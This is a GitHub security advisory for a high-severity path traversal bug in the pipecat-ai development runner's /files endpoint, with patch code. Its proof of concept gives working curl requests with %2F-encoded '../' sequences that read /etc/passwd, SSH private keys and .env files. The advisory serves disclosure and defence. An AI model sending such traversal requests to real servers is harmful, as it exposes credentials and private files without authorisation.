Skip to content

Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator

High
markbackman published GHSA-3363-2ph6-35wh May 15, 2026

Package

pip pipecat-ai (pip)

Affected versions

>=0.0.90,<1.2.0

Patched versions

>=1.2.0

Description

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.


Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.


Proof of Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output:
image

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

Request HTTP status Content
GET /files/recording.txt 200 Legitimate file
GET /files/../../etc/passwd 404 Blocked — literal .. normalised away
GET /files/..%2F..%2Fetc%2Fpasswd 200 Full /etc/passwd
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa 200 RSA private key (BEGIN OPENSSH PRIVATE KEY)
image image image

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

  • SSH private keys and TLS certificates
  • .env files and application credentials
  • Database files, session tokens, API keys
  • System files such as /etc/passwd and /etc/shadow (on Linux)
  • Source code, config files, and secrets in parent directories of --folder

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-44716

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits